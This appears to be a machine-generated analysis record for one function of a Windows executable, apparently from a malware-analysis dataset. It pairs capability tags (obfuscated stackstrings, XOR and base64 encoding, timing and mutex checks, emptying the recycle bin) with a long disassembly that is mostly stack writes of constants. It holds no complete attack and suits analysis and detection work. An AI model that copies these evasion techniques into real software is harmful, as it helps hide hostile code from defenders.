Function at 0x140001000
Capabilities:
Accept command line arguments
Authenticate hmac
Check for time delay via queryperformancecounter
Check for unexpected memory writes
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty the recycle bin
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get file size
Get file system object information
Hash data using fnv
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
mov eax, 0x29460
call fcn.1401c6910
sub rsp, rax
mov dword [rsp + 0x5f34], 0x9ec2
movabs rax, 0x78b25ec93d4958
mov qword [rsp + 0xb7d0], rax
mov dword [rsp + 0x5f38], 0x1a05
mov byte [rsp + 0x50], 0x60
mov eax, 0x38b
mov word [rsp + 0xe30], ax
mov eax, 0xb41
mov word [rsp + 0xe34], ax
mov eax, 0x232
mov word [rsp + 0xe38], ax
mov eax, 0x38a
mov word [rsp + 0xe3c], ax
mov eax, 0x2c5
mov word [rsp + 0xe40], ax
mov eax, 0x2db
mov word [rsp + 0xe44], ax
movabs rax, 0x74087470804144
mov qword [rsp + 0xb7d8], rax
movabs rax, 0x75d22592554f12
mov qword [rsp + 0xb7e0], rax
movabs rax, 0x7b508844aae051
mov qword [rsp + 0xb7e8], rax
mov dword [rsp + 0x5f3c], 0x259e
mov dword [rsp + 0x5f40], 0xc5e6
mov dword [rsp + 0x5f44], 0x2095
mov byte [rsp + 0x51], 9
mov byte [rsp + 0x52], 0xd2
mov byte [rsp + 0x53], 0x27
mov dword [rsp + 0x5f48], 0x6d43
mov byte [rsp + 0x54], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x5f4c], 0x8f87
mov dword [rsp + 0x5f50], 0xf1f9
mov dword [rsp + 0x5f54], 0x22c2
mov dword [rsp + 0x5f58], 0x997a
movabs rax, 0x7197ce549b2285
mov qword [rsp + 0xb7f0], rax
mov eax, 0xdaa
mov word [rsp + 0xe48], ax
mov byte [rsp + 0x55], ILCreateFromPathW
mov dword [rsp + 0x5f5c], 0x2ca8
mov dword [rsp + 0x5f60], 0xb265
mov dword [rsp + 0x5f64], 0x4d6a
movabs rax, 0x7e43200e7aa5c4
mov qword [rsp + 0xb7f8], rax
mov byte [rsp + 0x56], 0x43
mov byte [rsp + 0x57], 0x69
mov byte [rsp + 0x58], 0xfb
mov eax, 0x416
mov word [rsp + 0xe4c], ax
mov eax, 0x16c
mov word [rsp + 0xe50], ax
mov dword [rsp + 0x5f68], 0x9d17
mov eax, 0xbbc
mov word [rsp + 0xe54], ax
mov dword [rsp + 0x5f6c], 0x42c0
mov eax, 0x350
mov word [rsp + 0xe58], ax
mov eax, 0x2f3
mov word [rsp + 0xe5c], ax
mov eax, 0x47b
mov word [rsp + 0xe60], ax
movabs rax, 0x74a64e01644c8e
mov qword [rsp + 0xb800], rax
mov eax, 0x77d
mov word [rsp + 0xe64], ax
mov eax, 0x106
mov word [rsp + 0xe68], ax
mov eax, 0x501
mov word [rsp + 0xe6c], ax
mov byte [rsp + 0x59], 0x1f
mov eax, 0x527
mov word [rsp + 0xe70], ax
mov dword [rsp + 0x5f70], 0xc548
mov eax, 0xe52
mov word [rsp + 0xe74], ax
mov eax, 0x382
mov word [rsp + 0xe78], ax
mov eax, 0x612
mov word [rsp + 0xe7c], ax
movabs rax, 0x74c77ec30a6b59
mov qword [rsp + 0xb808], rax
movabs rax, 0x7ab427d1bdd59f
mov qword [rsp + 0xb810], rax
mov eax, 0x735
mov word [rsp + 0xe80], ax
mov eax, 0x4bf
mov word [rsp + 0xe84], ax
mov eax, 0x18d
mov word [rsp + 0xe88], ax
mov byte [rsp + 0x5a], 0x2a
mov dword [rsp + 0x5f74], 0x1313
mov byte [rsp + 0x5b], 0x81
movabs rax, 0x781e02d121bbee
mov qword [rsp + 0xb818], rax
mov dword [rsp + 0x5f78], 0x646c
mov eax, 0x6dc
mov word [rsp + 0xe8c], ax
mov byte [rsp + 0x5c], PathYetAnotherMakeUniqueName
movabs rax, 0x750ad40f9f696e
mov qword [rsp + 0xb820], rax
mov eax, 0x348
mov word [rsp + 0xe90], ax
movabs rax, 0x7c94351541ef65
mov qword [rsp + 0xb828], rax
mov eax, 0xf2
mov word [rsp + 0xe94], ax
movabs rax, 0x7105f1e205d1e8
mov qword [rsp + 0xb830], rax
mov dword [rsp + 0x5f7c], 0x6421
movabs rax, 0x76853f64c50477
mov qword [rsp + 0xb838], rax
mov eax, 0x6bc
mov word [rsp + 0xe98], ax
movabs rax, 0x7cf55e6c2fea50
mov qword [rsp + 0xb840], rax
movabs rax, 0x74f5605013d724
mov qword [rsp + 0xb848], rax
movabs rax, 0x79f1ff8ae770a4
mov qword [rsp + 0xb850], rax
mov eax, 0xef
mov word [rsp + 0xe9c], ax
mov dword [rsp + 0x5f80], 0x65e5
movabs rax, 0x73efc790a22ebd
mov qword [rsp + 0xb858], rax
movabs rax, 0x72e83ca2e69c16
mov qword [rsp + 0xb860], rax
mov eax, 0x1d5
mov word [rsp + 0xea0], ax
mov byte [rsp + 0x5d], 0x70
mov dword [rsp + 0x5f84], 0x2958
movabs rax, 0x78e8636056a33c
mov qword [rsp + 0xb868], rax
mov dword [rsp + 0x5f88], 0x7c4a
movabs rax, 0x7428788cb154de
mov qword [rsp + 0xb870], rax
mov byte [rsp + 0x5e], 0xb5
mov byte [rsp + 0x5f], reloc.SHELL32.dll_ILClone
mov eax, 0x33
mov word [rsp + 0xea4], ax
mov eax, 0x916
mov word [rsp + 0xea8], ax
movabs rax, 0x7c5bc325c7faca
mov qword [rsp + 0xb878], rax
mov dword [rsp + 0x5f8c], 0x33b6
movabs rax, 0x784a375215bcde
mov qword [rsp + 0xb880], rax
mov eax, 0xb24
mov word [rsp + 0xeac], ax
mov eax, 0x13d
mov word [rsp + 0xeb0], ax
mov dword [rsp + 0x5f90], 0x5fe1
mov dword [rsp + 0x5f94], 0x40b2
mov eax, 0x8f
mov word [rsp + 0xeb4], ax
mov eax, 0x6dd
mov word [rsp + 0xeb8], ax
mov eax, 0x3e6
mov word [rsp + 0xebc], ax
mov eax, 0x5b7
mov word [rsp + 0xec0], ax
mov eax, 0xc6
mov word [rsp + 0xec4], ax
mov byte [rsp + 0x60], 0xfc
mov dword [rsp + 0x5f98], 0x5719
mov byte [rsp + 0x61], 0xee
mov byte [rsp + 0x62], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x63], 0x68
mov dword [rsp + 0x5f9c], 0x3a6
mov dword [rsp + 0x5fa0], 0x221d
movabs rax, 0x7bbb3bd5a440f4
mov qword [rsp + 0xb888], rax
movabs rax, 0x79b1ab5923bed5
mov qword [rsp + 0xb890], rax
mov eax, 0xa76
mov word [rsp + 0xec8], ax
mov byte [rsp + 0x64], 0x67
movabs rax, 0x721f029faad2c4
mov qword [rsp + 0xb898], rax
mov byte [rsp + 0x65], 0x7e
movabs rax, 0x7db4885dec6f89
mov qword [rsp + 0xb8a0], rax
mov dword [rsp + 0x5fa4], 0x1ba0
mov eax, 0xc6
mov word [rsp + 0xecc], ax
mov byte [rsp + 0x66], 0xe4
mov dword [rsp + 0x5fa8], 0x6325
movabs rax, 0x70515264515f1d
mov qword [rsp + 0xb8a8], rax
mov dword [rsp + 0x5fac], 0xfe94
mov dword [rsp + 0x5fb0], 0x257f
movabs rax, 0x755618cd46927e
mov qword [rsp + 0xb8b0], rax
movabs rax, 0x79e91cb403211e
mov qword [rsp + 0xb8b8], rax
mov eax, 0x9a3
mov word [rsp + 0xed0], ax
mov byte [rsp + 0x67], 0x65
mov dword [rsp + 0x5fb4], 0x706c
movabs rax, 0x7b9334efee7350
mov qword [rsp + 0xb8c0], rax
movabs rax, 0x74323f2a26f2c1
mov qword [rsp + 0xb8c8], rax
mov eax, 0x7d6
mov word [rsp + 0xed4], ax
movabs rax, 0x73aa81730f39d2
mov qword [rsp + 0xb8d0], rax
movabs rax, 0x74a0b557d6a02b
mov qword [rsp + 0xb8d8], rax
mov eax, OleCreatePropertyFrameIndirect
mov word [rsp + 0xed8], ax
mov dword [rsp + 0x5fb8], 0x7af7
movabs rax, 0x776930f2ee8428
mov qword [rsp + 0xb8e0], rax
mov dword [rsp + 0x5fbc], 0x321e
mov byte [rsp + 0x68], 0x69
movabs rax, 0x7704c3b3fadbe4
mov qword [rsp + 0xb8e8], rax
movabs rax, 0x7e38587619ab76
mov qword [rsp + 0xb8f0], rax
movabs rax, 0x7becc83c22d460
mov qword [rsp + 0xb8f8], rax
mov eax, 0x3cc
mov word [rsp + 0xedc], ax
mov eax, 0x7fd
mov word [rsp + 0xee0], ax
movabs rax, 0x7edf0bb2baceb6
mov qword [rsp + 0xb900], rax
mov eax, ILFree
mov word [rsp + 0xee4], ax
mov byte [rsp + 0x69], 0x5a
mov dword [rsp + 0x5fc0], 0x2fd9
movabs rax, 0x79037c36bd54b2
mov qword [rsp + 0xb908], rax
mov dword [rsp + 0x5fc4], 0xa6bf
mov dword [rsp + 0x5fc8], 0x11a3
mov eax, 0x2c4
mov word [rsp + 0xee8], ax
mov dword [rsp + 0x5fcc], 0xd51e
movabs rax, 0x7d13f434b94d85
mov qword [rsp + 0xb910], rax
mov dword [rsp + 0x5fd0], 0x59de
mov byte [rsp + 0x6a], 0x9e
mov byte [rsp + 0x6b], 0x46
mov eax, 0x443
mov word [rsp + 0xeec], ax
mov byte [rsp + 0x6c], ILFindLastID
mov eax, 0x5c
mov word [rsp + 0xef0], ax
movabs rax, 0x7213dfa60cf06d
mov qword [rsp + 0xb918], rax
mov byte [rsp + 0x6d], 0x42
movabs rax, 0x7105c549833483
mov qword [rsp + 0xb920], rax
mov dword [rsp + 0x5fd4], 0x1734
mov dword [rsp + 0x5fd8], 0x4f78
movabs rax, 0x70f8a0eb1941c8
mov qword [rsp + 0xb928], rax
mov dword [rsp + 0x5fdc], 0x1b35
mov dword [rsp + 0x5fe0], 0x6424
movabs rax, 0x7e82d8c0e26888
mov qword [rsp + 0xb930], rax
mov byte [rsp + 0x6e], ILSaveToStream
mov eax, 0x366
mov word [rsp + 0xef4], ax
mov byte [rsp + 0x6f], 0x45
movabs rax, 0x7201194743e73b
mov qword [rsp + 0xb938], rax
mov eax, 0xe86
mov word [rsp + 0xef8], ax
mov byte [rsp + 0x70], 0x1d
mov eax, 0xbf1
mov word [rsp + 0xefc], ax
mov dword [rsp + 0x5fe4], 0x95b9
mov dword [rsp + 0x5fe8], 0x2db3
movabs rax, 0x7ea78676a68ab4
mov qword [rsp + 0xb940], rax
mov eax, 0x6b
mov word [rsp + 0xf00], ax
movabs rax, 0x73f8f7d9bf3d17
mov qword [rsp + 0xb948], rax
mov eax, 0x488
mov word [rsp + 0xf04], ax
movabs rax, 0x7c24b519f7f6ba
mov qword [rsp + 0xb950], rax
mov dword [rsp + 0x5fec], 0x9a6e
movabs rax, 0x7545a078f5a95c
mov qword [rsp + 0xb958], rax
movabs rax, 0x731dbc274e7dcb
mov qword [rsp + 0xb960], rax
mov byte [rsp + 0x71], 0xc1
movabs rax, 0x798f29ee931a02
mov qword [rsp + 0xb968], rax
mov byte [rsp + 0x72], ILFree
mov dword [rsp + 0x5ff0], 0x77d5
mov byte [rsp + 0x73], 0xa9
mov byte [rsp + 0x74], SHGetNewLinkInfoW
mov dword [rsp + 0x5ff4], 0x6ce4
mov dword [rsp + 0x5ff8], 0xfc46
mov eax, 0x508
mov word [rsp + 0xf08], ax
mov eax, 0x686
mov word [rsp + 0xf0c], ax
movabs rax, 0x7d0131bbb88992
mov qword [rsp + 0xb970], rax
mov eax, 0xedd
mov word [rsp + 0xf10], ax
mov eax, 0x8e3
mov word [rsp + 0xf14], ax
mov dword [rsp + 0x5ffc], 0x33f9
mov eax, 0x574
mov word [rsp + 0xf18], ax
mov dword [rsp + 0x6000], 0xcdb2
movabs rax, 0x71485a21eb2940
mov qword [rsp + 0xb978], rax
movabs rax, 0x7d5ec7cb183f4f
mov qword [rsp + 0xb980], rax
mov eax, 0xb20
mov word [rsp + 0xf1c], ax
movabs rax, 0x7cfd789c3f4669
mov qword [rsp + 0xb988], rax
movabs rax, 0x77064b228f1118
mov qword [rsp + 0xb990], rax
movabs rax, 0x768ddf4599039b
mov qword [rsp + 0xb998], rax
movabs rax, 0x78d451ba3570e2
mov qword [rsp + 0xb9a0], rax
movabs rax, 0x77f8dba34f5fca
mov qword [rsp + 0xb9a8], rax
mov dword [rsp + 0x6004], 0x7022
movabs rax, 0x725ce0e2c26e1d
mov qword [rsp + 0xb9b0], rax
mov byte [rsp + 0x75], 0x90
movabs rax, 0x729828657e3736
mov qword [rsp + 0xb9b8], rax
mov byte [rsp + 0x76], 0xb
mov byte [rsp + 0x77], 0x46
mov byte [rsp + 0x78], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x5dd
mov word [rsp + 0xf20], ax
mov dword [rsp + 0x6008], 0x781a
mov byte [rsp + 0x79], 0x28
mov dword [rsp + 0x600c], 0x4a34
mov eax, 0x7a3
mov word [rsp + 0xf24], ax
mov dword [rsp + 0x6010], 0xc1ad
mov dword [rsp + 0x6014], 0x1097
movabs rax, 0x78fccac0a729cd
mov qword [rsp + 0xb9c0], rax
mov eax, 0x11b
mov word [rsp + 0xf28], ax
mov dword [rsp + 0x6018], 0x2436
movabs rax, 0x77e1aea5b65965
mov qword [rsp + 0xb9c8], rax
mov dword [rsp + 0x601c], 0xdee1
mov byte [rsp + 0x7a], 0x39
movabs rax, 0x7dd27d1d2fe6ba
mov qword [rsp + 0xb9d0], rax
mov dword [rsp + 0x6020], 0xb845
mov eax, 0x3c3
mov word [rsp + 0xf2c], ax
movabs rax, 0x78c3c15030366e
mov qword [rsp + 0xb9d8], rax
mov eax, 0x2cc
mov word [rsp + 0xf30], ax
movabs rax, 0x78ae3e01a82d46
mov qword [rsp + 0xb9e0], rax
mov eax, 0x3c5
mov word [rsp + 0xf34], ax
movabs rax, 0x704eaf20c92002
mov qword [rsp + 0xb9e8], rax
mov eax, 0x2e2
mov word [rsp + 0xf38], ax
mov byte [rsp + 0x7b], 0x71
mov eax, 0x1aa
mov word [rsp + 0xf3c], ax
mov eax, 0x8d6
mov word [rsp + 0xf40], ax
movabs rax, 0x7630c1ce1ddd0a
mov qword [rsp + 0xb9f0], rax
mov byte [rsp + 0x7c], 0xe0
movabs rax, 0x7e64e2269cd055
mov qword [rsp + 0xb9f8], rax
movabs rax, 0x70554aefcc7134
mov qword [rsp + 0xba00], rax
mov eax, 0x24e
mov word [rsp + 0xf44], ax
mov eax, 0x30
mov word [rsp + 0xf48], ax
movabs rax, 0x7de0b5afd1d22d
mov qword [rsp + 0xba08], rax
movabs rax, 0x7e30ced70a42ed
mov qword [rsp + 0xba10], rax
mov byte [rsp + 0x7d], 0xe8
mov eax, 0x35d
mov word [rsp + 0xf4c], ax
mov dword [rsp + 0x6024], 0x488c
mov eax, reloc.SHELL32.dll_ILRemoveLastID
mov word [rsp + 0xf50], ax
mov byte [rsp + 0x7e], 0xb6
mov dword [rsp + 0x6028], 0x643a
mov eax, 0x6c9
mov word [rsp + 0xf54], ax
mov byte [rsp + 0x7f], 0
movabs rax, 0x76446a1501d1a8
mov qword [rsp + 0xba18], rax
mov eax, 0x181
mov word [rsp + 0xf58], ax
movabs rax, 0x7a84c0a9d5f215
mov qword [rsp + 0xba20], rax
mov dword [rsp + 0x602c], 0x720b
mov dword [rsp + 0x6030], 0x822c
mov dword [rsp + 0x6034], 0x75b
mov eax, 0x6be
mov word [rsp + 0xf5c], ax
mov dword [rsp + 0x6038], 0xd708
movabs rax, 0x789f24fcf3fd35
mov qword [rsp + 0xba28], rax
mov eax, 0x32e
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x603c], 0x5668
movabs rax, 0x785aa315a8b960
mov qword [rsp + 0xba30], rax
mov byte [rsp + 0x80], 0x7a
mov byte [rsp + 0x81], 0x30
mov byte [rsp + 0x82], ILFindChild
mov byte [rsp + 0x83], ILCloneFirst
mov byte [rsp + 0x84], 0x38
mov dword [rsp + 0x6040], 0x615e
mov dword [rsp + 0x6044], 0x992
mov byte [rsp + 0x85], 0xe4
mov byte [rsp + 0x86], 0x62
mov byte [rsp + 0x87], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x88], 0x4c
movabs rax, 0x7561ff650b21b8
mov qword [rsp + 0xba38], rax
movabs rax, 0x7a2946e241fe0e
mov qword [rsp + 0xba40], rax
mov byte [rsp + 0x89], 0x35
mov eax, 0x50d
mov word [rsp + 0xf64], ax
mov dword [rsp + 0x6048], 0x16d7
mov eax, 0xfac
mov word [rsp + 0xf68], ax
mov eax, 0x605
mov word [rsp + 0xf6c], ax
mov eax, 0x455
mov word [rsp + 0xf70], ax
mov eax, 0x4d2
mov word [rsp + 0xf74], ax
movabs rax, 0x7acf6bfb00c311
mov qword [rsp + 0xba48], rax
movabs rax, 0x79758c4215764a
mov qword [rsp + 0xba50], rax
movabs rax, 0x74e3362d399085
mov qword [rsp + 0xba58], rax
movabs rax, 0x7776f5e1701afc
mov qword [rsp + 0xba60], rax
mov eax, 0xd85
mov word [rsp + 0xf78], ax
movabs rax, 0x722ef2d2fda9e1
mov qword [rsp + 0xba68], rax
mov eax, 0x3f6
mov word [rsp + 0xf7c], ax
mov dword [rsp + 0x604c], 0x16d6
movabs rax, 0x7ab0c318f087e5
mov qword [rsp + 0xba70], rax
mov eax, 0x572
mov word [rsp + 0xf80], ax
mov byte [rsp + 0x8a], 0x1f
movabs rax, 0x74154b88c2ef72
mov qword [rsp + 0xba78], rax
movabs rax, 0x7be4e139863bbd
mov qword [rsp + 0xba80], rax
mov byte [rsp + 0x8b], SHGetNewLinkInfoW
mov dword [rsp + 0x6050], 0x1a21
mov dword [rsp + 0x6054], 0x1eb2
mov eax, 0x6d9
mov word [rsp + 0xf84], ax
mov byte [rsp + 0x8c], 0x5a
mov byte [rsp + 0x8d], 0xef
mov dword [rsp + 0x6058], 0x5345
movabs rax, 0x7caf82c42488cc
mov qword [rsp + 0xba88], rax
mov dword [rsp + 0x605c], 0xe131
mov eax, 0x597
mov word [rsp + 0xf88], ax
mov eax, 0x9c
mov word [rsp + 0xf8c], ax
mov byte [rsp + 0x8e], 0x31
mov byte [rsp + 0x8f], 0xde
movabs rax, 0x7b412700ef4565
mov qword [rsp + 0xba90], rax
movabs rax, 0x78ded95328c2c7
mov qword [rsp + 0xba98], rax
mov dword [rsp + 0x6060], 0x4d1
movabs rax, 0x73ece4807d5b5c
mov qword [rsp + 0xbaa0], rax
mov eax, 0xd18
mov word [rsp + 0xf90], ax
mov byte [rsp + 0x90], 0xc5
movabs rax, 0x7986d00ed51480
mov qword [rsp + 0xbaa8], rax
movabs rax, 0x7db1953ad25903
mov qword [rsp + 0xbab0], rax
movabs rax, 0x79285858c4a61e
mov qword [rsp + 0xbab8], rax
mov eax, 0x1d3
mov word [rsp + 0xf94], ax
mov dword [rsp + 0x6064], 0x2cce
movabs rax, 0x7d4955fa2e7889
mov qword [rsp + 0xbac0], rax
mov byte [rsp + 0x91], reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x6068], 0x29a5
mov eax, 0xeb
mov word [rsp + 0xf98], ax
mov byte [rsp + 0x92], 0xc1
movabs rax, 0x7463a0967a6d0c
mov qword [rsp + 0xbac8], rax
movabs rax, 0x7bce73a880d5bc
mov qword [rsp + 0xbad0], rax
mov dword [rsp + 0x606c], 0x2f5
mov byte [rsp + 0x93], 9
mov eax, 0x2cc
mov word [rsp + 0xf9c], ax
mov byte [rsp + 0x94], 0xe5
mov byte [rsp + 0x95], 0x7b
mov byte [rsp + 0x96], 0xa5
mov dword [rsp + 0x6070], 0x6872
mov eax, 0x153
mov word [rsp + 0xfa0], ax
mov byte [rsp + 0x97], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7b357b72e6a8f5
mov qword [rsp + 0xbad8], rax
mov dword [rsp + 0x6074], 0x1dab
mov dword [rsp + 0x6078], 0xc9da
movabs rax, 0x7e030c56b30ee6
mov qword [rsp + 0xbae0], rax
movabs rax, 0x7b8961d8127e36
mov qword [rsp + 0xbae8], rax
mov dword [rsp + 0x607c], 0x5a8e
movabs rax, 0x72a886f829714c
mov qword [rsp + 0xbaf0], rax
mov dword [rsp + 0x6080], 0x1a75
mov eax, 0x1bb
mov word [rsp + 0xfa4], ax
mov eax, 0x1dc
mov word [rsp + 0xfa8], ax
mov eax, 0x697
mov word [rsp + 0xfac], ax
mov eax, 0xb4d
mov word [rsp + 0xfb0], ax
mov dword [rsp + 0x6084], 0x7d49
movabs rax, 0x77dee951a1dea8
mov qword [rsp + 0xbaf8], rax
movabs rax, 0x703b624e2de2af
mov qword [rsp + 0xbb00], rax
mov byte [rsp + 0x98], 0x3f
mov dword [rsp + 0x6088], 0x303f
movabs rax, 0x778e05924b9d97
mov qword [rsp + 0xbb08], rax
mov dword [rsp + 0x608c], 0x5fac
mov eax, 0x19a
mov word [rsp + 0xfb4], ax
mov eax, 0xfe6
mov word [rsp + 0xfb8], ax
mov dword [rsp + 0x6090], 0x1879
mov eax, 0x201
mov word [rsp + 0xfbc], ax
mov eax, 0x3c2
mov word [rsp + 0xfc0], ax
mov dword [rsp + 0x6094], 0x185a
mov eax, 0x8a8
mov word [rsp + 0xfc4], ax
mov dword [rsp + 0x6098], 0x46c5
movabs rax, 0x7786aa0844ebad
mov qword [rsp + 0xbb10], rax
mov dword [rsp + 0x609c], 0x24c1
mov eax, 0x24b
mov word [rsp + 0xfc8], ax
mov dword [rsp + 0x60a0], 0x8e4b
mov byte [rsp + 0x99], 0xa3
movabs rax, 0x7e31d692d09f8c
mov qword [rsp + 0xbb18], rax
movabs rax, 0x78d7d446fd3178
mov qword [rsp + 0xbb20], rax
mov dword [rsp + 0x60a4], 0x4f8e
mov eax, 0xd9
mov word [rsp + 0xfcc], ax
movabs rax, 0x7c587b4590fe84
mov qword [rsp + 0xbb28], rax
mov byte [rsp + 0x9a], 0x6c
mov eax, 0xa83
mov word [rsp + 0xfd0], ax
mov dword [rsp + 0x60a8], 0x4e56
mov eax, 0x1c5
mov word [rsp + 0xfd4], ax
mov eax, 0x49b
mov word [rsp + 0xfd8], ax
mov dword [rsp + 0x60ac], 0x6661
mov dword [rsp + 0x60b0], 0x7fb2
mov byte [rsp + 0x9b], 0x5d
mov eax, 0x1b6
mov word [rsp + 0xfdc], ax
movabs rax, 0x7d7d22279a2150
mov qword [rsp + 0xbb30], rax
mov eax, 0x2b9
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x60b4], 0x1b7d
mov byte [rsp + 0x9c], 0x72
movabs rax, 0x796c4016c7f1fa
mov qword [rsp + 0xbb38], rax
mov dword [rsp + 0x60b8], 0x6482
mov eax, 0x93d
mov word [rsp + 0xfe4], ax
mov eax, 8
mov word [rsp + 0xfe8], ax
mov byte [rsp + 0x9d], 0x8e
mov eax, 0xa2b
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x60bc], 0xb345
mov eax, 0x40
mov word [rsp + 0xff0], ax
mov byte [rsp + 0x9e], 0x6e
mov dword [rsp + 0x60c0], 0x68f5
mov eax, 0x94f
mov word [rsp + 0xff4], ax
movabs rax, 0x7a39205763965b
mov qword [rsp + 0xbb40], rax
mov eax, 0xd24
mov word [rsp + 0xff8], ax
mov eax, 0x17e
mov word [rsp + 0xffc], ax
movabs rax, 0x7ce0bca66b7485
mov qword [rsp + 0xbb48], rax
mov dword [rsp + 0x60c4], 0x5da4
mov byte [rsp + 0x9f], 0x5a
mov eax, 0x655
mov word [rsp + 0x1000], ax
mov dword [rsp + 0x60c8], 0x5980
movabs rax, 0x77d381283f311c
mov qword [rsp + 0xbb50], rax
mov byte [rsp + 0xa0], 0x64
movabs rax, 0x7099d0a27e7771
mov qword [rsp + 0xbb58], rax
mov eax, 0x4c5
mov word [rsp + 0x1004], ax
mov byte [rsp + 0xa1], 0x7d
movabs rax, 0x7909afc5b87dc1
mov qword [rsp + 0xbb60], rax
mov byte [rsp + 0xa2], 0x37
movabs rax, 0x7b4ec21545b010
mov qword [rsp + 0xbb68], rax
mov eax, 0x2b4
mov word [rsp + 0x1008], ax
movabs rax, 0x77a90d5e73ef64
mov qword [rsp + 0xbb70], rax
movabs rax, 0x7652ac5c28f0e9
mov qword [rsp + 0xbb78], rax
mov byte [rsp + 0xa3], SHDoDragDrop
mov eax, 0xa5a
mov word [rsp + 0x100c], ax
mov eax, 0xa4c
mov word [rsp + 0x1010], ax
mov dword [rsp + 0x60cc], 0x4c41
mov byte [rsp + 0xa4], PathYetAnotherMakeUniqueName
mov eax, 0x642
mov word [rsp + 0x1014], ax
movabs rax, 0x76f3e1e63f7993
mov qword [rsp + 0xbb80], rax
mov byte [rsp + 0xa5], 0x86
movabs rax, 0x7cd8b0fd7b2107
mov qword [rsp + 0xbb88], rax
mov eax, 0x3ca
mov word [rsp + 0x1018], ax
movabs rax, 0x7371046e611d4c
mov qword [rsp + 0xbb90], rax
movabs rax, 0x77e3782c8dd8f4
mov qword [rsp + 0xbb98], rax
movabs rax, 0x71c8d67aaac40b
mov qword [rsp + 0xbba0], rax
movabs rax, 0x7425c53b5bb7fa
mov qword [rsp + 0xbba8], rax
movabs rax, 0x73133580ee6947
mov qword [rsp + 0xbbb0], rax
mov byte [rsp + 0xa6], 0x6e
mov eax, 0x7e7
mov word [rsp + 0x101c], ax
mov byte [rsp + 0xa7], 0x34
mov eax, 0x1fa
mov word [rsp + 0x1020], ax
mov dword [rsp + 0x60d0], 0xc2c6
mov eax, 0x228
mov word [rsp + 0x1024], ax
movabs rax, 0x73cc10b320457b
mov qword [rsp + 0xbbb8], rax
movabs rax, 0x77a3dc0f212a48
mov qword [rsp + 0xbbc0], rax
mov dword [rsp + 0x60d4], 0x4fdd
mov eax, 0x5f4
mov word [rsp + 0x1028], ax
mov eax, 0x31d
mov word [rsp + 0x102c], ax
movabs rax, 0x76bbc37dd905ed
mov qword [rsp + 0xbbc8], rax
mov eax, 0x4fd
mov word [rsp + 0x1030], ax
mov byte [rsp + 0xa8], reloc.SHELL32.dll_ILRemoveLastID
mov byte [rsp + 0xa9], ILCloneFirst
mov eax, 0x341
mov word [rsp + 0x1034], ax
mov eax, 0x261
mov word [rsp + 0x1038], ax
mov eax, 0x13d
mov word [rsp + 0x103c], ax
mov dword [rsp + 0x60d8], 0x693e
movabs rax, 0x7cdaaef30cb85e
mov qword [rsp + 0xbbd0], rax
mov byte [rsp + 0xaa], SHDoDragDrop
movabs rax, 0x7557562bf4ebab
mov qword [rsp + 0xbbd8], rax
mov eax, 0x5c1
mov word [rsp + 0x1040], ax
mov byte [rsp + 0xab], 0xa2
mov eax, 0xe5
mov word [rsp + 0x1044], ax
mov byte [rsp + 0xac], 0x62
mov dword [rsp + 0x60dc], 0xea02
movabs rax, 0x7a5f20d9745a9d
mov qword [rsp + 0xbbe0], rax
movabs rax, 0x788f46e7e717a8
mov qword [rsp + 0xbbe8], rax
mov dword [rsp + 0x60e0], 0x4276
movabs rax, 0x7555104e477e6f
mov qword [rsp + 0xbbf0], rax
mov dword [rsp + 0x60e4], 0x6e5c
mov byte [rsp + 0xad], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x7beca893d4ce5b
mov qword [rsp + 0xbbf8], rax
mov dword [rsp + 0x60e8], 0x656e
mov byte [rsp + 0xae], ILFree
mov dword [rsp + 0x60ec], 0x571b
movabs rax, 0x705b9b276fcc22
mov qword [rsp + 0xbc00], rax
mov byte [rsp + 0xaf], reloc.SHELL32.dll_ILClone
movabs rax, 0x74b50afb36e73c
mov qword [rsp + 0xbc08], rax
movabs rax, 0x72059f2830c542
mov qword [rsp + 0xbc10], rax
movabs rax, 0x7dbe5ab017d0b0
mov qword [rsp + 0xbc18], rax
movabs rax, 0x730a77ac075240
mov qword [rsp + 0xbc20], rax
movabs rax, 0x7cf92b00a77229
mov qword [rsp + 0xbc28], rax
mov dword [rsp + 0x60f0], 0x39fe
mov dword [rsp + 0x60f4], 0x11f9
mov byte [rsp + 0xb0], 3
mov dword [rsp + 0x60f8], 0x2956
mov eax, 0xdf2
mov word [rsp + 0x1048], ax
mov dword [rsp + 0x60fc], 0x2f9b
mov byte [rsp + 0xb1], 0x92
mov byte [rsp + 0xb2], SHDoDragDrop
movabs rax, 0x7545ae37a19e97
mov qword [rsp + 0xbc30], rax
mov dword [rsp + 0x6100], 0x5fde
mov dword [rsp + 0x6104], 0xdd66
movabs rax, 0x75dfc51d3a5c87
mov qword [rsp + 0xbc38], rax
mov eax, 0x3bf
mov word [rsp + 0x104c], ax
mov eax, 0x4cf
mov word [rsp + 0x1050], ax
movabs rax, 0x74c4a2505fb7aa
mov qword [rsp + 0xbc40], rax
movabs rax, 0x73bcaba0e41824
mov qword [rsp + 0xbc48], rax
mov eax, 0xdc9
mov word [rsp + 0x1054], ax
mov dword [rsp + 0x6108], 0x4e2a
mov dword [rsp + 0x610c], 0x105a
movabs rax, 0x7db763817d5a61
mov qword [rsp + 0xbc50], rax
mov dword [rsp + 0x6110], 0x6ca1
mov eax, 0x464
mov word [rsp + 0x1058], ax
mov eax, 0x3e4
mov word [rsp + 0x105c], ax
mov dword [rsp + 0x6114], 0x8cdb
mov byte [rsp + 0xb3], 0x89
movabs rax, 0x73554637bccd86
mov qword [rsp + 0xbc58], rax
mov eax, 0x257
mov word [rsp + 0x1060], ax
mov eax, 0x4f3
mov word [rsp + 0x1064], ax
movabs rax, 0x71df9915f7773f
mov qword [rsp + 0xbc60], rax
mov eax, 0x7dc
mov word [rsp + 0x1068], ax
mov eax, 0x103
mov word [rsp + 0x106c], ax
mov dword [rsp + 0x6118], 0xe660
movabs rax, 0x746fb34e38727a
mov qword [rsp + 0xbc68], rax
